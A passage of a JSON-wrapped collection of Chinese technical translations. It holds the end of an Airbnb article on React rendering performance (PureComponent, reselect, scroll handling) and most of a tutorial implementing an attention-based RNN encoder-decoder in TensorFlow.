组件上。\n\n![](https://cdn-images-1.medium.com/max/800/0*0Houn_bWBi4x1rhe.)\n\nBookIt 的重绘消耗了 103.15ms\n\n有趣的是，除非用户操作，这些组件基本是不可见的 👻 。\n\n![](https://cdn-images-1.medium.com/max/800/0*VicFFl6VVoKEvWp1.)\n\n解决这个问题的方法是在不需要的时候不渲染这些组件。这加快了初始化的渲染，清除了一些不必要的重绘。🐎 如果我们进一步地进行优化，增加更多 PureComponents，那么初始化渲染会变得更快。\n\n![](https://cdn-images-1.medium.com/max/800/0*A9Fk9rNQc-hlT4cq.)\n\nBookIt 的重绘消耗了 8.52ms\n\n### 来回滚动\n\n通常我们会在清单页面上做一些平滑滚动的效果，但在滚动时效果并不理想。📜 当动画没有达到平滑的 60 fps（每秒帧），[甚至是 120 fps](https://dassur.ma/things/120fps/)，人们通常会感到不舒服也不会满意。**滚动是一种特殊的动画，是你的手指动作的直接反馈，所以它比其他动画更加敏感**。\n\n稍微分析一下后，我发现我们在滚动事件处理机制中做了很多不必要的 React 组件的重绘！看起来真的很糟糕：\n\n![](https://cdn-images-1.medium.com/max/800/0*CFcV7cUQMP2tuiLb.)\n\n在没做修复之前，Airbnb 上的滚动性能真的很糟糕\n\n我可以使用 `React.PureComponent` 转化 `<Amenity>`、`<BookItPriceHeader>` 和 `<StickyNavigationController>` 这三个组件来解决绝大部分问题。这大大降低了页面重绘的成本。虽然我们还没能达到 60 fps（每秒帧数），但已经很接近了。\n\n![](https://cdn-images-1.medium.com/max/800/0*fV_INfZNo5ochcKA.)\n\n经过一些修改后，Airbnb 清单页面的滚动性能略有改善\n\n另外还有一些可以优化的部分。展开火焰图表，我们可以看到，`<StickyNavigationController>` 也产生了耗时的重绘。如果我们细看他的组件堆栈信息，可以发现四个相似的模块。\n\n![](https://cdn-images-1.medium.com/max/800/0*m34rAJcm9zDr2IWu.)\n\nStickyNavigationController 的重绘消耗了 8.52ms\n\n`<StickyNavigationController>` 是清单页面顶部的一个部分，当我们不同部分间滚动时，它会联动高亮您当前所在的位置。火焰图表中的每一块都对应着常驻导航的四个链接之一。并且，当我们在两个部分间滚动时，会高亮不同的链接，所以有些链接是需要重绘的，就像下图显示的那样。\n\n![](https://cdn-images-1.medium.com/max/800/1*sFbuI4zjaunWiOhINQiV6Q.gif)\n\n现在，我注意到我们这里有四个链接，在状态切换时改变外观的只有两个，但在我们的火焰图表中显示，四个链接每都做了重绘操作。这是因为我们的 `<NavigationAnchors>` 组件每次切换渲染时都创建一个新的方法作为参数传递给 `<NavigationAnchor>`，这违背了我们纯组件的优化原则。\n\n```\nconst anchors = React.Children.map(children, (child, index) => {      \n  return React.cloneElement(child, {\n    selected: activeAnchorIndex === index,\n    onPress(event) { onAnchorPress(index, event); },\n  });\n});\n```\n\n我们可以通过确保 `<NavigationAnchor>` 每次被 `<NavigationAnchors>` 渲染时接收到的都是同一个 function 来解决这个问题。\n\n```\nconst anchors = React.Children.map(children, (child, index) => {      \n  return React.cloneElement(child, {\n    selected: activeAnchorIndex === index,\n    index,\n    onPress: this.handlePress,\n  });\n});\n```\n\n接下来是 `<NavigationAnchor>`：\n\n```\nclass NavigationAnchor extends React.Component {\n  constructor(props) {\n    super(props);\n    this.handlePress = this.handlePress.bind(this);\n  }\n\n handlePress(event) {\n    this.props.onPress(this.props.index, event);\n  }\n\n  render() {\n    ...\n  }\n}\n```\n\n在优化后的解析中我们可以看到，只有两个链接被重绘，事半功倍！并且，如果我们这里有更多的链接块，那么渲染的工作量将不再增加。\n\n![](https://cdn-images-1.medium.com/max/800/0*UwwNS6-WeByC0sYm.)\n\nStickyNavigationController 的重绘消耗了 8.52ms\n\n[Dounan Shi](https://medium.com/@dounanshi) 再 [Flexport](https://medium.com/@Flexport) 一直在维护 [Reflective Bind](https://github.com/flexport/reflective-bind)，这是供你用来做这类优化的 Babel 插件。这个项目还处于起步阶段，还不足以正式发布，但我已经对它未来的可能性感到兴奋了。\n\n继续看 Performance 记录的 Main 面板，我注意到我们有一个非常可疑的模块 `handleScroll`，每次滚动事件都会消耗 19ms。如果我们要达到 60 fps 就只有 16ms 的渲染时间，这明显超出太多。\n\n![](https://cdn-images-1.medium.com/max/800/0*xRqIpxSt6fH22tCt.)\n\n`_handleScroll` 消耗了 18.45ms\n\n罪魁祸首的好像是 `onLeaveWithTracking` 内的某个部分。通过代码排查，问题定位到了 `<EngagementWrapper>`。然后在看看他的调用栈，发现大部分的时间消耗在了 React `setState`，但奇怪的是，我们并没有发现期间有产生任何的重绘。\n\n深入挖掘 `<EngagementWrapper>`，我注意到，我们使用了 React 的 state 跟踪了实例上的一些信息。\n\n```\nthis.state = { inViewport: false };\n```\n\n然而，**在渲染的流程中我们从来没有使用过这个 state，也没有监听它的变化来做重绘，也就是说，我们做了无用功**。将所有 React 的此类 state 用法转换为简单的实例变量可以让这些滚动动画更流畅。\n\n```\nthis.inViewport = false;\n```\n\n![](https://cdn-images-1.medium.com/max/800/0*FIGmkF_IXHbb36Rx.)\n\n滚动事件的 handler 消耗了 1.16ms\n\n我还注意到，`<AboutThisListingContainer>` 的重绘导致了组件 `<Amenities>` 高消耗且多余的重绘。\n\n![](https://cdn-images-1.medium.com/max/800/0*jL45wVOeK7404zcb.)\n\nAboutThisListingContainer 的重绘消耗了 32.24ms\n\n最终确认是我们使用的高阶组件 `withExperiments` 来帮助我们进行实验所造成的。HOC 每次都会创建一个新的对象作为参数传递给子组件，整个流程都没有做任何优化。\n\n```\nrender() {\n  ...\n  const finalExperiments = {\n    ...experiments,\n    ...this.state.experiments,\n  };\n  return (\n    <WrappedComponent\n      {...otherProps}\n      experiments={finalExperiments}\n    />\n  );\n}\n```\n\n我通过引入 [reselect](https://github.com/reactjs/reselect) 来修复这个问题，他可以缓存上一次的结果以便在连续的渲染中保持相同的引用。\n\n```\nconst getExperiments = createSelector(\n  ({ experimentsFromProps }) => experimentsFromProps,\n  ({ experimentsFromState }) => experimentsFromState,\n  (experimentsFromProps, experimentsFromState) => ({\n    ...experimentsFromProps,\n    ...experimentsFromState,\n  }),\n);\n...\nrender() {\n  ...\n  const finalExperiments = getExperiments({\n    experimentsFromProps: experiments,\n    experimentsFromState: this.state.experiments,\n  });\n  return (\n    <WrappedComponent\n      {...otherProps}\n      experiments={finalExperiments}\n    />\n  );\n}\n```\n\n问题的第二个部分也是相似的。我们使用了 `getFilteredAmenities` 方法将一个数组作为第一个参数，并返回该数组的过滤版本，类似于：\n\n```\nfunction getFilteredAmenities(amenities) {\n  return amenities.filter(shouldDisplayAmenity);\n}\n```\n\n虽然看上去没什么问题，但是每次运行即使结果相同也会创建一个新的数组实例，这使得即使是很单纯的组件也会重复的接收这个数组。我同样是通过引入 `reselect` 缓存这个过滤器来解决这个问题。👻\n\n可能还有更多的优化空间，（比如 [CSS containment](https://developer.mozilla.org/en-US/docs/Web/CSS/contain)），不过现在看起来已经很好了。\n\n![](https://cdn-images-1.medium.com/max/800/1*7vX8RmLIIDkqHPWPzGPOhA.png)\n\n修复后的 Airbnb 清单页的优化滚动表现\n\n### 点击操作\n\n更多地体验过这个页面后，我明显得感觉到在点击「Helpful」按钮时存在延时问题。\n\n![](https://cdn-images-1.medium.com/max/800/0*tMXuKO1LSSx-FGM8.)\n\n我的直觉告诉我，点击这个按钮导致页面上的所有评论都被重新渲染了。看一看火焰图表，和我预计的一样：\n\n![](https://cdn-images-1.medium.com/max/1000/0*qfYVyzrWQRqeDFXQ.)\n\nReviewsContent 重绘消耗了 42.38ms\n\n在这两个地方引入 `React.PureComponent` 之后，我们让页面的更新更高效。\n\n![](https://cdn-images-1.medium.com/max/800/0*IPNN14uZ5LqOS8B3.)\n\nReviewsContent 重绘消耗了 12.38ms\n\n### 键盘操作\n\n再回到之前的客户端/服务端不匹配的老问题上，我注意到，在这个输入框里打字确实有反应迟钝的感觉。\n\n![](https://cdn-images-1.medium.com/max/800/0*iWJlliBeKUNDmSu3.)\n\n分析后发现，每次按键操作都会造成整个评论区头部的重绘。这是在逗我吗？😱\n\n![](https://cdn-images-1.medium.com/max/800/0*GCSQEZAZyaSBjgXA.)\n\nRedux-connected ReviewsContainer 重绘消耗 61.32ms\n\n为了解决这个问题，我把头部的一部分提取出来做为组件，以便我可以把它做成一个 `React.PureComponent`，然后再把这个几个 `React.PureComponent` 分散在构建树上。这使得每次按键操作就只能重绘需要重绘的组件了，也就是 `input`。\n\n![](https://cdn-images-1.medium.com/max/800/0*NWzbAAPcfys13iFh.)\n\nReviewsHeader 重绘消耗 3.18ms\n\n### 我们学到了什么？\n\n* 我们希望页面可以启动得**更快**延迟**更短**\n* 这意味着我们需要关注不仅仅是页面交互时间，还需要对页面上的交互进行剖析，比如滚动、点击和键盘事件。\n* `React.PureComponent` 和 `reselect` 在我们 React 应用的性能优化工具中是非常有用的两个工具。\n* 当实例变量这种轻量级的工具可以完美地满足你的需求时，就不要使用像 React state 这种重量级的工具了。\n* 虽然 React 很强大，但有时编写代码来优化你的应用反而更容易。\n* 培养分析、优化、再分析的习惯。\n\n* * *\n\n**如果你喜欢做性能优化**，[那就加入我们吧](https://www.airbnb.com/careers/departments/engineering)，**我们正在寻找才华横溢、对一切都很好奇的你。我们知道，Airbnb 还有大优化的空间，如果你发现了一些我们可能感兴趣的事，亦或者只是想和我聊聊天，你可以在 Twitter 上找到我** [_@lencioni_](https://twitter.com/lencioni)。\n\n* * *\n\n着重感谢 [Thai Nguyen](https://medium.com/@thaingnguyen) 在 review 代码和清单页迁移到单页应用的过程中作出的贡献。♨️ 得以实施主要得感谢 Chrome DevTools 团队，这些性能可视化的工具实在是太棒了！另外 Netflix 是第二项优化的功臣。\n\n感谢 [Adam Neary](https://medium.com/@AdamRNeary?source=post_page)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/recurrent-neural-network-rnn-part-4-attentional-interfaces.md",
    "content": "\n> * 原文地址：[RECURRENT NEURAL NETWORK (RNN) – PART 4: ATTENTIONAL INTERFACES](https://theneuralperspective.com/2016/11/20/recurrent-neural-network-rnn-part-4-attentional-interfaces/)\n> * 原文作者：[GokuMohandas](https://twitter.com/GokuMohandas)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-network-rnn-part-4-attentional-interfaces.md](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-network-rnn-part-4-attentional-interfaces.md)\n> * 译者：[TobiasLee](http://tobiaslee.top)\n> * 校对者：[changkun](https://github.com/changkun) [Brucexz](https://github.com/Brucexz)\n\n**本系列文章汇总**\n\n1. [RNN 循环神经网络系列 1：基本 RNN 与 CHAR-RNN](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-1-basic-rnn-char-rnn.md)\n2. [RNN 循环神经网络系列 2：文本分类](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-2-text-classification.md)\n3. [RNN 循环神经网络系列 3：编码、解码器](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-networks-rnn-part-3-encoder-decoder.md)\n4. [RNN 循环神经网络系列 4：注意力机制](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-network-rnn-part-4-attentional-interfaces.md)\n5. [RNN 循环神经网络系列 5：自定义单元](https://github.com/xitu/gold-miner/blob/master/TODO/recurrent-neural-network-rnn-part-5-custom-cells.md)\n\n# RNN 循环神经网络系列 4: 注意力机制\n\n在这篇文章里，我们将尝试使用带有注意力机制的编码器-解码器（encoder-decoder）模型来解决序列到序列（seq-seq）问题，实现的原理主要是根据这篇论文，具体请参考[这里](https://theneuralperspective.com/2016/10/02/neural-machine-translation-by-jointly-learning-to-align-and-translate-attention-in-rnns/)。\n\n![attention.png](https://github.com/ajarai/casual-digressions/blob/master/notes/images/rnn_attention/attention.png?raw=true)\n\n首先，让我们来一窥整个模型的架构并且讨论其中一些有趣的部分，然后我们会在先前实现的不带有注意力机制的编码器-解码器模型基础之上，添加注意力机制，先前模型的实现细节在[这里](https://theneuralperspective.com/2016/11/20/recurrent-neural-networks-rnn-part-3-encoder-decoder/)，我们将慢慢引入注意力机制，并实现模型的推断。。**注意**：这个模型并非当下最好的模型，更何况这些数据还是我在几分钟内草率地编写的。这篇文章旨在帮助你理解使用注意力机制的模型，从而你能够运用到更大的数据集上，并且取得非常不错的结果。\n\n## 带有注意力机制的编码器-解码器模型：\n\n![Screen Shot 2016-11-19 at 5.27.39 PM.png](https://theneuralperspective.files.wordpress.com/2016/11/screen-shot-2016-11-19-at-5-27-39-pm.png?w=620)\n\n这张图片是第一张图的更为具体的版本，包含了更多细节。让我们从编码器开始讲起，直到最后解码器的输出。首先，我们的输入数据是经过填充（Padding）和词嵌入（Embedding）处理的向量，我们将这些向量交给带有一系列 cell（上图中蓝色的 RNN 单元）的 RNN 网络，这些 cell 的输出称为隐藏状态（hidden state，上图中的h<sub>0</sub>，h<sub>1</sub>等)，它们被初始化为零，但在输入数据之后，这些隐藏状态会改变并且持有一些非常有价值的信息。如果你使用的是一个 LSTM 网络（RNN 的一种），我们会把 cell 的状态 c 和隐藏状态 h 一起向前传递给下一个 cell。对于每一个输入（上图中的 X<sub>0</sub>等），在每一个 cell 上我们都会得到一个隐藏状态的输出，这个输出也会作为下一个 cell 输入的一部分。我们把每个神经元的输出记作 h<sub>1</sub> 到 h<sub>N</sub>，这些输出将会成为我们注意力模型的输入。\n\n在我们深入探讨注意力机制之前，先来看看解码器是怎么处理它的输入以及如何产生输出的。目标语言经过同样的词嵌入处理后作为解码器的输入，以 GO 标识开始，以 EOS 和其后的一些填充部分作为结束。解码器的 RNN cell 同样有着隐藏状态，并且和上面一样，被初始化为零且随着数据的输入而产生变化。这样看来，解码器和编码器似乎没有什么不同。事实上，它们的不同之处在于解码器还会接收一个由注意力机制产生的上下文向量 c<sub>i</sub>作为输入。在接下来的部分里，我们将详细地讨论上下文向量是如何产生的，它是基于编码器的所有输入以及前面解码器 cell 的隐藏状态所产生的一个非常重要的成果：上下文向量能够指导我们在编码器产生的输入上如何分配注意力，来更好地预测接下来的输出。\n\n解码器的每一个 cell 利用编码器产生的输入，和前一个 cell 的隐藏状态以及注意力机制产生的上下文向量来计算，最后经过 softmax 函数产生最终的目标输出。值得注意的是，在训练的过程中，每个 RNN cell 只使用这三个输出来获得目标的输出，然而在推断阶段中，我们并不知道解码器的下一个输入是什么。因此我们将使用解码器之前的预测结果来作为新的输入。\n\n现在，让我们仔细看看注意力机制是怎么产生上下文向量的。\n\n## 注意力机制：\n\n![Screen Shot 2016-11-19 at 5.27.49 PM.png](https://theneuralperspective.files.wordpress.com/2016/11/screen-shot-2016-11-19-at-5-27-49-pm.png?w=620)\n\n上图是注意力机制的示意图，让我们先关注注意力层的输入和输出部分：我们利用编码器产生的所有隐藏状态以及上一个解码器 cell 的输出，来给每一个解码器 cell 生成对应的上下文向量。首先，这些输入都会经过一层 tanh 函数来产生一个形状为 [N, H] 的输出矩阵e，编码器中每个 cell 的输出都会产生对应解码器中第 i 个 cell 的一个 e<sub>ij</sub>。接下来对矩阵 e 应用一次 softmax 函数，就能得到一个关于各个隐藏状态的概率，我们把这个结果记作 alpha。然后再利用 alpha 和原来的隐藏状态矩阵 h 相乘，使得每个 h 中的每一个隐藏状态获得个权重，最后进行求和就得到了形状为 [N, H] 的上下文向量 c<sub>i</sub>，实际上这就是编码器产生的输入的一个带有权重分布的表示。\n\n在训练开始，这个上下文向量可能会比较随意，但是随着训练的进行，我们的模型将会不断地学习编码器产生的输入中哪一部分是重要的，从而帮助我们在解码器这一端产生更好的结果。\n\n## Tensorflow 实现：\n\n现在让我们来实现这个模型，其中最重要的部分就是注意力机制。我们将使用一个单向的 GRU 编码器和解码器，和前面那篇[**文章**](https://theneuralperspective.com/2016/11/20/recurrent-neural-networks-rnn-part-3-encoder-decoder/)里使用的非常类似，区别在于这里的解码器将会额外地使用上下文向量（表示注意力分配）来作为输入。另外，我们还将使用 Tensorflow 里的 `embedding_attention_decoder() `接口。\n\n首先，让我们来了解一下将要处理并传递给编码器/解码器的数据集。\n\n### 数据:\n\n我为模型创建了一个很小的数据集：20 个英语和对应的西班牙语句子。这篇教程的重点是让你了解如何建立一个带有软注意力机制的编码器-解码器模型，来解决像机器翻译等的序列到序列问题。所以我写了关于我自己的 20 个英文句子，然后把他们翻译成对应的西班牙语，这就是我们的数据。\n\n首先，我们把这些句子变成一系列 token，再把 token 转换成对应的词汇 id。在这个处理过程中，我们会建立一个词汇词典，使我们能够从 token 和词汇 id 之间完成转换。对于我们的目标语言（西班牙语），我们会额外地添加一个 EOS 标识。接下来我们将对源语言和目标语言转换得来的一组 token 进行填充操作，将它们补齐至最大长度（分别是它们各自的数据集中的最长句子长度），这将成为最终我们要喂给我们模型的数据。我们把经过填充的源语言数据传给编码器，但我们还会对目标语言的输入做一些额外的操作以获得解码器的输入和输出。\n\n最后，输入就长成下面这个样子：\n\n![Screen Shot 2016-11-19 at 4.20.54 PM.png](https://theneuralperspective.files.wordpress.com/2016/11/screen-shot-2016-11-19-at-4-20-54-pm.png?w=620)\n\n这只是数据集中的一个例子，向量里的 0 都是填充的部分，1 是 GO 标识，2 则是一个 EOS 标识。下图是数据处理过程更一般的表示，你可以忽略掉 target weights 这一部分，因为我们的实现中不会用到它。\n\n![screen-shot-2016-11-16-at-5-09-10-pm](https://theneuralperspective.files.wordpress.com/2016/10/screen-shot-2016-11-16-at-5-09-10-pm.png?w=620)\n\n### 编码器\n\n我们通过 `encoder_inputs` 来给编码器输入数据。输入数据的是一个形状为 **[N, max_len]** 的矩阵，通过词嵌入变成 **[N, max_len, H]**。编码器是一个动态 RNN，经过它的处理之后，我们得到一个形状为 **[N, max_len, H]** 的输出，以及一个状态矩阵，形为 **[N, H]**（这就是所有句子经 RNN 网络后最后一个 cell 相关的状态）。这些都将作为我们编码器的输出。\n\n### 解码器\n\n在讨论注意力机制之前，先来看看解码器的输入和输出。解码器的初始状态就是由编码器传递来的，每个句子经过 RNN 网络后最有一个 cell 的状态（形为 **[N, H]**)。Tensorflow 的 `embedding_attention_decoder()` 函数要求解码器的输入是按先后顺序排列的（句子中词的先后）的列表，所以我们把 **[N, max_len]** 的输入转换为 max_len 长的列表 **[N]**。我们还使用经过 softmax 作用的权重矩阵处理解码器的输出，来创建我们的输出投影权重。我们将时序列表（即经过转换的 [N, max_len]）、初始状态、注意力矩阵以及投影权重作为参数传递给 `embedding_attention_deocder()` 函数，得到输出（形状为 **[max_len, N, H] **的输出以及状态矩阵 **[N, H]**）。我们得到的输出也是按时间先后排列的，我们将对它们进行 flatten 操作并且应用 softmax 函数得到一个形为 [N * max_len, C] 的矩阵。然后我们同样对目标输出进行 reshape 操作，从 **[N, max_len]** 变成 **[N * max_len,]** ，再利用 `sparse_softmax_cross_entropy_with_logits()` 来计算 loss 。接下来我们会对 loss 进行一些遮蔽操作，来避免填充操作对 loss 造成的影响。\n\n### 注意力:\n\n最后，总算到了注意力机制这一部分。我们已经知道了输入和输出，我们把一系列参数（时序列表、初始状态、注意力矩阵这些编码器的输出）交给了 `embedded_attention_decoder()` 函数，但在这其中究竟发生了什么？首先， 我们会创建一系列权重来对输入进行嵌入操作，我们把这些权重命名为 W_embedding。在通过输入生成解码器的输出之后，我们会开始一个循环函数，来决定将哪一部分输出交给下一个解码器作为输入。在训练过程中，我们通常不会把前一个解码器单元的输出传递给下一个，所以这里的循环函数是 None。而在推理期间，我们会这样做，所以这里的循环函数就会使用 `_extract_argmax_and_embed()`，它的用处就如它的名字所言（提取参数并且嵌入）。得到解码器单元的输出之后，让它和 softmax 后的权重矩阵相乘（output_projection），并将它的形状从 **[N, H]** 转换成 **[N, C]**，再使用同样 W_embedding 来替代经过嵌入操作的输出(**[N, H]**)，再将经过处理的输出作为下一个解码器单元的输入。\n\n```\n# 如果我们需要预测下一个词语的话，使用如下的循环函数\nloop_function = _extract_argmax_and_embed(\n    W_embedding, output_projection,\n    update_embedding_for_previous) if feed_previous else None\n```\n\n## ![Screen Shot 2016-11-22 at 7.53.40 AM.png](https://theneuralperspective.files.wordpress.com/2016/11/screen-shot-2016-11-22-at-7-53-40-am.png?w=620)\n\n另外一个关于循环函数可选的参数是 `update_embedding_` ，如果设置为 False，那么在我们对解码器的输出（GO token 除外）进行嵌入操作的时候，就会停止在 W_embedding 权重上使用梯度更新。因此，虽然我们在两个地方使用了 W_embedding，但它的值只依赖于我们在解码器的输入上使用的词嵌入而不是在输出上（GO token 除外）。然后，我们就可以把经过嵌入操作的时序解码器输入、初始状态、注意力矩阵以及循环函数交给 `attention_decoder()` 函数了。\n\n `attention_decoder()` 函数是注意力机制的核心，这其中有一些额外的操作是文章开头那篇论文中没有提到的。回忆一下，注意力机制将会使用我们的注意力矩阵（编码器的输出）以及前一个解码器单元的状态，这些值将被传入一个 tanh 层，通过隐藏状态得到一个 e_ij（用来衡量句子对齐的程度的变量）。然后，我们将使用 softmax 函数将它转换为 alpha_ij 用于和与原始注意力矩阵相乘。我们对这个相乘之后的向量进行求和，这就是我们的新的上下文向量c_i。最终，这个上下文向量将被用来产生我们新的解码器的输出。\n\n主要的不同之处在于，我们的注意力矩阵（编码器的输出）和前一解码器单元的状态不是简简单单通过一个 `_linear()` 函数能够处理，并且应用常规的 tanh 函数的。我们需要一些额外的步骤来解决这个问题：首先，对注意力矩阵使用一个 1x1 的卷积，这能够帮助我们在注意力矩阵中提取重要的 features，而不是直接处理原有的数据——你可以回想一下卷积层在图样识别中重要的特征提取作用。这一步能够让我们拥有更好的特征，但带来的一个问题就是我们需要用一个 4 维的向量来表示注意力矩阵。\n\n```\n'''\n形状转换:\n    初始的隐藏状态:\n        [N, max_len, H]\n    reshape 成 4D 的向量:\n        [N, max_len, 1, H] = N 张 [max_len, 1, H] 形状的图片\n        所以我们可以在上面应用滤波器\n    滤波器:\n        [1, 1, H, H] = [height, width, depth, # num filters]\n    使用 stride 为 1 和 padding 为 1 的卷积:\n        H = ((H - F + 2P) / S) + 1 =\n            ((max_len - 1 + 2)/1) + 1 = height'\n        W = ((W - F + 2P) / S) + 1 = ((1 - 1 + 2)/1) + 1 = 3\n        K = K = H\n        结果就是把\n            [N, max_len, H] 变成了 [N, height', 3, H]\n'''\n\nhidden = tf.reshape(attention_states,\n    [-1, attn_length, 1, attn_size]) # [N, max_len, 1, H]\nhidden_features = []\nattention_softmax_weights = []\nfor a in xrange(num_heads):\n    # 滤波器\n    k = tf.get_variable(\"AttnW_%d\" % a,\n        [1, 1, attn_size, attn_size]) # [1, 1, H, H]\n    hidden_features.append(tf.nn.conv2d(hidden, k, [1,1,1,1], \"SAME\"))\n    attention_softmax_weights.append(tf.get_variable(\n        \"W_attention_softmax_%d\" % a, [attn_size]))\n```\n\n这就意味着，为了处理经过转换的 4 维注意力矩阵和前一解码器单元状态，我们需要把后者也转换成 4 维的表示。这个操作很简单，只要将前一解码器单元的状态通过一个 MLP 的处理，就能把它变成一个 4 维的 tensor，从而匹配注意力矩阵的转换。\n\n```\ny = tf.nn.rnn_cell._linear(\n    args=query, output_size=attn_size, bias=True)\n\n# reshape 成 4 D\ny = tf.reshape(y, [-1, 1, 1, attn_size]) # [N, 1, 1, H]\n\n# 计算 Alpha\ns = tf.reduce_sum(\n    attention_softmax_weights[a] *\n    tf.nn.tanh(hidden_features[a] + y), [2, 3])\na = tf.nn.softmax(s)\n\n# 计算上下文向量 c\nc = tf.reduce_sum(tf.reshape(\n    a, [-1, attn_length, 1, 1])*hidden, [1,2])\ncs.append(tf.reshape(c, [-1, attn_size]))\n```\n\n将注意力矩阵和前一解码器单元的状态都进行过转换之后，我们就可以进行 tanh 操作了。我们将 tanh 后的结果和 softmax 得到的权重进行相乘、求和，再应用一次 softmax 函数得到 alpha_ij。最后，我们将 alphas 经过 reshape 后和初始注意力矩阵相乘，进行求和之后得到我们的上下文向量 c_i。\n\n接下来就可以挨个地处理解码器的输入了。先讨论训练过程，我们不在乎解码器的输出因为输入最终都会变成输出，所以这里的循环函数是 None。我们将通过一个使用 `_linear() `函数的 MLP 以及前一个上下文向量来处理解码器输入（初始化为零），然后和前一个解码器单元的状态一起交给 dynamic_rnn 单元得到输出。我们一次处理所有样本数据的同一时刻的 token，因为我们需要从当时索引的最后一个 token 所对应的前一个状态。按时序排列的输入使我们在一批数据中这样做更为高效，**这**就是为什么我们需要输入变成一个时序列表的原因。\n\n得到动态 RNN 的输出和状态之后，我们就能够根据新的状态计算出新的上下文向量。cell 的输出和新的上下文向量再通过一个 MLP，最终就能得到我们的解码器输出。这些额外的 MLP 并没有在解码器的示意图中画出，但他们是我们得到输出必要的额外步骤。值得注意的是，cell 的输出和 attention_decoder 的输出的形状都是**[max_len, N, H]**。\n\n而当我们在进行推断的时候，循环函数不再是 None，而是 `_extract_argmax_and_append()`。这个函数会接收前一个解码器单元的输出，而我们新的解码器单元的输入就是先前的输出经过 softmax 之后的结果，接下来对它进行重嵌入操作。在利用注意力矩阵进行w完所有处理之后，将 prev 将被更新为新预测的输出。\n\n```\n\n# 依次处理解码器的输入\nfor i, inp in enumerate(decoder_inputs):\n\n    if i > 0:\n        tf.get_variable_scope().reuse_variables()\n\n    if loop_function is not None and prev is not None:\n        with tf.variable_scope(\"loop_function\", reuse=True):\n            inp = loop_function(prev, i)\n\n    # 把输入和注意力向量合并\n    input_size = inp.get_shape().with_rank(2)[1]\n    x = tf.nn.rnn_cell._linear(\n        args=[inp]+attns, output_size=input_size, bias=True)\n\n    # 解码器 RNN\n    cell_outputs, state = cell(x, state) # our stacked cell\n\n\n    # 通过注意力拿到上下文向量\n    attns = attention(state)\n\n    with tf.variable_scope('attention_output_projection'):\n        output = tf.nn.rnn_cell._linear(\n            args=[cell_outputs]+attns, output_size=output_size,\n            bias=True)\n    if loop_function is not None:\n        prev = output\n    outputs.append(output)\n\nreturn outputs, state\n```\n\n然后，我们处理从 attention_decoder 得到的输出：使用 softmax 函数、进行 flatten 操作，最后和目标输出进行比较并计算 loss。\n\n## 细节:\n\n### Sampled Softmax\n\n在机器翻译这样的序列对序列的任务上使用注意力机制模型的效果是非常出色的，但常常因为语料库的巨大带来问题。特别是在我们训练时，计算解码器的输出的 softmax 是非常耗费资源的，解决的办法就是使用 sampled softmax，你可以在我的这篇[**文章**](https://theneuralperspective.com/2016/11/16/embeddings-skipgram-and-cbow-implementations/)里了解到更多为什么要这么做以及如何实现。\n\n下面是 sampled softmax 的代码，注意这里的权重和我们在解码器上使用的 output_projection 是一样的，因为使用它们的目的都是相同的：把解码器的输出（长度为 H 的向量）转换成对应类别数量长度的向量。\n\n```\ndef sampled_loss(inputs, labels):\n    labels = tf.reshape(labels, [-1, 1])\n    # We need to compute the sampled_softmax_loss using 32bit floats to\n    # avoid numerical instabilities.\n    # 我们使用32位的浮点数来计算 sampled_softmax_loss ，以避免数值不稳定\n    local_w_t = tf.cast(w_t, tf.float32)\n    local_b = tf.cast(b, tf.float32)\n    local_inputs = tf.cast(inputs, tf.float32)\n    return tf.cast(\n            tf.nn.sampled_softmax_loss(local_w_t, local_b,\n                local_inputs, labels,\n                num_samples, self.target_vocab_size),\n            dtype)\nsoftmax_loss_function = sampled_loss\n```\n\n接下来，我们可以利用 seq_loss 函数来计算 loss，其中的权重向量除了目标输出为 PAD token 的部分是 0，其他都是 1。值得注意的是，我们只会在训练过程中使用 sampled softmax，而在进行预测的过程中，我们会对整个语料库进行采样，使用常规的 softmax，而不仅仅只是一部分最为近似的语料。\n\n```\nelse:\n    losses.append(sequence_loss(\n      outputs, targets, weights,\n      softmax_loss_function=softmax_loss_function))\n```\n\n### 带有 buckets 的模型:\n\n另外一种常见的附加结构是使用 `tf.nn.seq2seq.model_with_buckets()` 函数，这也是 Tensorflow 官方的 NMT [教程](https://www.tensorflow.org/versions/r0.11/tutorials/seq2seq/index.html)所使用的模型，这种 buckets 模型的优点在于缩短了注意力矩阵向量的长度。在先前的模型中，我们会把注意力向量应用在 max_len 长度的 hidden states 上。而在这里，我们只要对相关的一部分应用注意力向量，因为 PAD token 是完全可以被忽略的。我们可以选择对应的 buckets 使得句子中的 PAD token 尽可能的少。\n\n但我个人觉得这个方法有一点粗糙，而且如果真的想要避免处理 PAD token 的话，我会建议使用 seq_lens 这个属性来过滤掉编码器输出中的 PAD token，或者当我们在计算上下文向量的时候，我们可以把每个句子中 PAD token 对应的 hidden state 置为 0。这种方法有点复杂，所以我们不在这里实现它，但 buckets 对于 PAD token 带来的噪音确实不是一种优雅的解决方法。\n\n## 总结:\n\n注意力机制是研究的一个热门，并且也存在很多变种。无论在什么情况下，这种模型在序列对序列的任务上总是能有非常出色的表现，所以我非常喜欢使用它。请谨慎地分割训练集和验证集，因为这种模型很容易过拟合从而在验证集上产生非常糟糕的表现。在接下来的文章里，我们会使用注意力机制来解决设计内存和逻辑推理的更为复杂的任务。\n\n## 代码:\n\n[GitHub 